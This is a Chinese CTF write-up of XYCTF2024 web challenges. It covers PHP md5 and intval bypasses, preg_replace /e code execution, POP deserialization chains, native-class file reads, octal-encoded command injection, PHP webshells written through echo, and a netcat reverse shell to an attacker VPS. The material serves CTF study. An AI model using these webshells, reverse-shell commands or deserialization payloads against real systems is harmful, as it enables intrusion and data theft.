xyctf
# XYCTF2024 web
web题目对新手挺友好,比赛过程学到很多东西,做了7个web,404名哈哈,奇怪的数字
oSthing师傅太厉害啦
复现参考
# ezhttp
查看robots.txt
User-agent: *
Disallow: /l0g1n.txt
2
访问/l0g1n.txt
username: XYCTF
password: @JOILha!wuigqi123$
2
找到账号密码,登录提示需要添加一些字段名验证
相关字段验证
tip1: 不是 yuanshen.com 来的我不要
验证来源:
hackbar添加键:Referer,值:yuanshen.com
tip2: 你用的不是XYCTF的浏览器
验证UA:
hackbar添加键:User-Agent,值:XYCTF
tip3:非本地用户禁止访问!
验证ip:
常见记录ip字段X-Forwarded-For
hackbar添加键:X-Forwarded-For,值:127.0.0.1
tip4:xff 打咩!!!
说明不能用xff,换个字段Client-IP,也是用来记录客户端ip
hackbar添加键:Client-IP,值:127.0.0.1
tip5:不是从 ymzx.qq.com 代理来的我不玩
需要记录代理服务器的字段名,Via,Forwarded
尝试forwarded没有反应 换via
hackbar添加键:Via,值:ymzx.qq.com
tip6:有点饿,想吃点XYCTF的小饼干
提示饼干(cookie)
hackbar添加键:Cookie,值:XYCTF
最后拿到flag
# warm up
粘个源码(太感谢oSthing师傅了!!
<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);
if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] &&
md5($_GET['val1']) == md5($_GET['val2'])) {
echo "ez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}
if (isset($md5) && $md5 == md5($md5)) {
echo "ezez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}
if ($XY == $XYCTF) {
if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
echo $level2;
} else {
die("什么情况,这么基础的md5做不来");
}
} else {
die("学这么久,传参不会传?");
}
什么情况,这么基础的md5做不来
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 第一层if语句
- 要求定义 $_GET['val1'],$_GET['val2']
- 这两个变量不能相等
- 他们的md5比较要求相同
方法一:数组绕过
前面两个条件很好满足,那么第三个条件可以利用md5()函数的缺陷,它不能对数组加密,否则报错返回NULL,那么如果两个都是数组就会得到NULL=NULL的表达式,满足条件从而绕过
payload:?val1[]=1&val2[]=2
方法二:0e绕过 如果字符串经过md5加密得到两个都是0e开头的字符串,在比较是会作为数字0,这些md5可以绕过比较的字符串可以尝试百度
payload:?val1=QNKCDZO&val2=byGcY
# 第二层if语句
条件:$md5==md5($md5)
payload:0e215962017
这个payload字符串 md5()后是0e开头的串,就变成字符串和数字0比较返回true,绕过比较
!> 下面是失败的尝试
刚看到直接就想到$md5=0,这样md5后的字符串和0比较可以得到true(聪明),传参后发现不对 使用在线平台测试
// 测试
$md5=0;
var_dump($md5==md5($md5));
// 结果
bool(true)
2
3
4
5
6
7
猜到了为什么了吗(~聪明~),因为这里$md5是GET传进来的,所以0是字符串,那么'0'=md5('0'),两个字符串比较
// 测试
var_dump('0'==md5('0'));
// 结果
bool(false)
2
3
4
我还想到一种,这个应该同理,这个NULL传入时也是字符串'NULL'不是NULl
// 测试
$md5[]=NULL;
var_dump($md5==md5($md5));
// 结果
bool(true)
2
3
4
5
# 第三层if语句
条件:if ($XY == $XYCTF),if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591"))
第一个$XY == $XYCTF,$XY要和$XYCTF相同,可以根据开头的extract($_GET);给XYCTF重新赋值
PHP在线平台测试
// 测试
md5("XYCTF_550102591")
// 结果
0e937920457786991080577371025051
2
3
4
这个结果0e开头,可以用第一层if语句的0e字符串
payload:XY=byGcY&XYCTF=byGcY
进入第二关
# 正则函数的使用
# 第一层if语句2.0
条件:
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a']))
要求:POST方法定义了a,且变量a不含数字,intval()函数后不为0
这下好了,连字符串1a的特性都用不了,那我们还可以用数组
tip:**intval()函数操作数组时会报错并返回1 满足条件,绕过
# 最后
出题人给了一个正则函数,美针针
preg_replace($_GET['a'],$_GET['b'],$_GET['c']);
第一部分是正则表达式,第二部分是操作,第三部分是目标
在第一部分:/abcd/e的abcd,它会匹配第三部分目标中的abcd,替换为第二部分的操作或者字符串,e参数会将第二部分作为php代码执行
payload:?a=/abcd/e&b=system("ls")&c=abcd
最后你可以在根目录下找到flag
# ezmake
这两题的ezmake,我的做法是写木马进去(makefile
你可以参考这个文章 (opens new window)
你可以使用echo '字符串',这样来测试那些内容有过滤,如/,; 是黑名单
没什么过滤,直接使用echo写一个php马进去
echo '<?php eval($_POST[a])?>' > 1.php
执行后发现它把$简单过滤了一次,再写一次发现就可以了
# ez?make
这题在上题的基础上难度增加有点大(oSting师傅好厉害,刀法精准)
经过漫长测试,发现flag,c,a,t,f,l,?,*,;,/都拉了黑名单,以及()同时出现时,会被正则干扰,不过发现?它只禁了小写(开心),那么linux的系统命令我们是用不了了
刚开始一直在想怎么构造一个?来写php文件呢,又是漫长的测试,如chr(63),后面发现如果()同时出现会被正则干扰,函数也用不了
后面发现echo的一个参数e,它可以将字符串中16进制转义为相应字符ASCll码对照表 (opens new window)
相关字符:
# ascll 转16进制
" \x22
$ \x24
? \x3f
' \x27
( \x28
) \x29
; \x3B
2
3
4
5
6
7
8
小写被禁用了可以用大写,16进制数中大小写不敏感
payload: echo -e '<\x3Fphp EVAL\x28\x24_POST["A"]\x29\x3BHIGHLIGHT_FILE\x28__FILE__\x29\x3B' > 2.php
# ezmd5
先尝试上传两次同一个jpg图片,提示文件md5一样但是文件不一样
上传两个不同的jpg文件,提示文件相同,md5不同,猜测需要文件内容不同md5相同的jpg图片,在谷歌搜索到两张符合添加的jpg图片,上传提示文件相同,md5相同,并给出了flag
图片放在这里
# ezClass
粘下源码
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());
2
3
4
5
6
7
8
payload: ?a=SplFileObject&aa=php://filter/convert.base64-encode/resource=/flag&c=__toString
这里不给b,bb也可以读文件
做这套题时,我也想到了原生类,在搜索过程看到了Error类,但没有详细看,最后使用了一个SplFileObject的原生类,结合伪协议把flag读了出来
参考博客 (opens new window)
看了这位大师傅的博客后有很多想法,起初是抱着试一试的想法,试到SplFileObject类的__toString方法和伪协议,真的把index.php的base64读出来了(不过会报错,再根据oSthing师傅的习惯,直接读根目录下的flag文件,就拿到了flag,但是如果文件名不是flag,这个方法就失效了
比赛结束看到了Error原生类的做法,实现了命令执行的作用,太厉害了。使用Error类的getmessage方法,将bb的字符串传给前面的字符串处理,把前面传入system字符串作为函数,后面使用linux命令就可以正常执行命令了
payload: ?a=Error&aa=system&c=getmessage&b=Error&bb=ls
# 复现
# ezPOP
粘下源码
<?php
error_reporting(0);
highlight_file(__FILE__);
class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}
class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
}
class CCC
{
public $c;
public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}
if(isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
pop链思路很清晰:pop链从CCC类的析构函数切入,在**echo $this->c;**时跳到AAA类的toString方法,在toString方法中,return $this->s->$p,让把BBB类的对象赋值给s,打印一个BBB类没有的属性就可以了
在程序触发get方法时,call_user_func($a,$b)($c)($d);给你一个call_user_func甜品函数(不过我挣扎到最后也没吃上,可恶),这个语句会把$a作为回调函数,处理$b,但是$b很特殊是一个数组,一般函数处理不了(强大如eval,system,exec等都无法使用),这里提一个函数implode,用于返回一个由数组元素组合成的字符串,再把这个字符串作为回调函数,参考其他师傅,使用implode,strrev,system,ls函数和命令,把题目给的参数给打满了,太厉害了
例如:
$a = 'implode';
$b = 'strrev';
$c = 'metsys';
$d = 'ls';
call_user_func($a,$b)($c)($d);
2
3
4
5
利用call_user_func执行implode,把数组中的字符串'strrev'转化为字符串,作为新的回调函数处理$c,strrev将构造好的反向system转化过来作为函数执行'ls'命令,实现命令执行
pop链:
$aa = new AAA();
$bb = new BBB();
$cc = new CCC();
$bb -> c ='metsys';
$bb -> d ='cat /flag';
$aa->s = $bb;
$aa->a = $e;
$cc->c = $aa;
echo serialize($cc);
2
3
4
5
6
7
8
9
10
payload:
虚假的payload:
?xy=O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"metsys";s:1:"d";s:9:"cat /flag";}s:1:"a";N;}}
记得题目最后需要破坏pop链,抛出异常结束程序,最后1改2就可以
get: ?xy=O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"metsys";s:1:"d";s:9:"cat /flag";}s:2:"a";N;}}
post: a=implode&b=strrev
我尝试发现,可以使用a=implode,把b=system作为函数执行$c,这样也能执行,$d不用管了。这也太好丸了吧
# ezRCE
粘下源码
<?php
highlight_file(__FILE__);
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);
2
3
4
5
6
7
8
9
10
11
12
13
14
题目白名单字符有数字,反斜杠,单引号,美元符和小于号。反斜杠和数字可以实现八进制表示字符串,在linux中,$''其中引号内的八进制数会转化为字符串执行,但是不能执行带有参数的命令,或者说命令中不能有空格,例如tac /flag,ls -ahl中/flag,-ahl都算参数,可以命令分为两部分,前面命令后面参数,两部分不能直接连起来,需要空格分隔符,题目没有空格但是有小于号,小于号在linux命令行中可以代替空格的作用
思路清楚了,使用字符串在线转八进制数网站 (opens new window),八进制数去掉空格添加反斜杠,例如:ls转化后154 163,$'\154\163' 执行ls命令
构造 tac</flag
payload: $'\164\141\143'<$'\57\146\154\141\147'
# 牢牢记住,逝者为大
源码
<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
if (strlen($cmd) > 13) {
die("see you again~");
}
if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
die("肘死你");
}
foreach ($_GET as $val_name => $val_val) {
if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
return "what can i say";
}
}
return $cmd;
}
$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
解法1:反弹shell
过滤:这题首先对输入进行了过滤,如果超长或者正则匹配到黑名单会直接结束程序
绕过:在eval中,需要解决井号注释的作用,也要解决后面拼接字符串的障碍
在eval中,使用换行url编码%0a绕过注释,再使用%23注释掉后面拼接的内容 通过反引号执行linux系统命令
vps端:nc -l 端口 这样不会提示监听到了( 但执行命令有回显
foreach会对每一个get参数进行过滤,过滤了bin,可以在字符中添加一对单双引号绕过
最终payload:url?c=%0a`$_GET[b]`;%23&b=nc 公网ip 端口 -e /bi''n/sh
在vps查看flag tac /flag
# ezSerialize
这关套娃套了三层,卡死在stdclass这个芝士点了
第一层
<?php
include 'flag.php';
highlight_file(__FILE__);
error_reporting(0);
class Flag {
public $token;
public $password;
public function __construct($a, $b)
{
$this->token = $a;
$this->password = $b;
}
public function login()
{
return $this->token === $this->password;
}
}
if (isset($_GET['pop'])) {
$pop = unserialize($_GET['pop']);
$pop->token=md5(mt_rand());
if($pop->login()) {
echo $flag;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
第一层,考察引用。把随机数的md5值赋值给反序列化对象的token,调用login函数,token===login相等才给flag,在构造函数里把password作为token的引用,这样就一定相等了
pop链
class Flag {
public $token;
public $password;
public function __construct($a, $b)
{
$this->token = $a;
$this->password = &$this->token;
}
public function login()
{
return $this->token === $this->password;
}
}
$payload = new Flag(1,1);
echo serialize($payload);
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
payload: ?pop=O:4:"Flag":2:{s:5:"token";i:1;s:8:"password";R:2;}
打印flag(第二关:fpclosefpclosefpcloseffflllaaaggg.php
<?php
highlight_file(__FILE__);
class A {
public $mack;
public function __invoke()
{
$this->mack->nonExistentMethod();
}
}
class B {
public $luo;
public function __get($key){
echo "o.O<br>";
$function = $this->luo;
return $function();
}
}
class C {
public $wang1;
public function __call($wang1,$wang2)
{
include 'flag.php';
echo $flag2;
}
}
class D {
public $lao;
public $chen;
public function __toString(){
echo "O.o<br>";
return is_null($this->lao->chen) ? "" : $this->lao->chen;
}
}
class E {
public $name = "xxxxx";
public $num;
public function __unserialize($data)
{
echo "<br>学到就是赚到!<br>";
echo $data['num'];
}
public function __wakeup(){
if($this->name!='' || $this->num!=''){
echo "旅行者别忘记旅行的意义!<br>";
}
}
}
if (isset($_POST['pop'])) {
unserialize($_POST['pop']);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
第二层:开始考察魔术方法的触发时机了。pop链:unser----toString----get-----invoke-----call
反序列化时触发__unserialize,
关键点:echo $data['num']; 如果$data['num']是一个D类的对象,会接着触发__toString
关键点:return is_null($this->lao->chen) ? "" : $this->lao->chen; 如果$this->lao是一个B类的对象,打印没有的变量$chen会触发__get魔术方法
关键点:$function = $this->luo;return $function();返回一个函数 如果$function是一个对象,触发__invoke魔术方法
关键点:$this->mack->nonExistentMethod();,调用了一个函数 如果成员属性$mack是C类的对象,调用没有的方法,触发__call魔术方法,打印flag2
思路很简单,但反序列化方法中需要注意echo $data['num'],把成员属性num定义成一个数组
$e = new E();
$d = new D();
$b = new B();
$a = new A();
$c = new C();
$e -> num = array('num' => 10);;
$e -> name = $d;
$d -> lao = $b;
$b ->luo = $a;
$a ->mack = $c;
echo serialize($e);
2
3
4
5
6
7
8
9
10
11
打印第三层:saber_master_saber_master.php
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;
public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
{
$this->Liu = $Liu;
$this->T1ng = $T1ng;
$this->upsw1ng = $upsw1ng;
}
}
class XYCTFNO2
{
public $crypto0;
public $adwa;
public function __construct($crypto0, $adwa)
{
$this->crypto0 = $crypto0;
}
public function XYCTF()
{
if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
return False;
} else {
return True;
}
}
}
class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "Crypto0";
public function __construct($KickyMu, $fpclose)
{
$this->KickyMu = $KickyMu;
$this->fpclose = $fpclose;
}
public function XY()
{
if ($this->N1ght == 'oSthing') {
echo "WOW, You web is really good!!!\n";
echo new $_POST['X']($_POST['Y']);
}
}
public function __wakeup()
{
if ($this->KickyMu->XYCTF()) {
$this->XY();
}
}
}
if (isset($_GET['CTF'])) {
unserialize($_GET['CTF']);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
难点在$this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258',两个都要满足,让函数返回true,才能调用XY()函数
思路:反序列化后触发wakeup魔术方法,if ($this->KickyMu->XYCTF()) {$this->XY();}在wakeup中调用XYCTFNO2类的xyctf()函数,把KickyMu属性定义为一个XYCTFNO2的对象
还需要XYCTF()函数返回true,需要$this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258'同时满足,这两个属性分别是两个类的属性,不可能把adwa定义为两个类的对象,引入原生类stdClass类
stdClass类是一个空类,可以随便怎么玩
把属性adwa定义为一个stdClass类,定义两个属性crypto0,T1ng赋值dev1l,yuroandCMD258,这样就可以返回true,调用XY()函数
pop链
$ddd = new stdClass();
$ddd -> crypto0 = "dev1l";
$ddd -> T1ng = "yuroandCMD258";
$ser2 = new XYCTFNO2('','');
$ser3 = new XYCTFNO3($ser2,'');
$ser3 ->N1ght = 'oSthing';
$ser2 -> adwa = $ddd;
echo serialize($ser3);
2
3
4
5
6
7
8
payload:?CTF=O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";s:0:"";s:4:"adwa";O:8:"stdClass":2:{s:7:"crypto0";s:5:"dev1l";s:4:"T1ng";s:13:"yuroandCMD258";}}s:7:"fpclose";s:0:"";s:5:"N1ght";s:7:"oSthing";}
接着调用了XY()函数,echo new $_POST'X'; 创建了一个对象,并打印了这个对象,一定会触发这个对象的__toString方法。
可以按照ezClass题的玩法,用SplFileObject原生类和伪协议读文件
POST
payload: X=SplFileObject&Y=php://filter/convert.base64-encode/resource=/flag
# 其他题目对于我有点难,后续补充芝士可能再续上
# 比赛过程插曲
在一道网络迷踪题中,出题人附件一张风景图,最后很多ctfer在一个社交媒体软件团建哈哈,挺有意思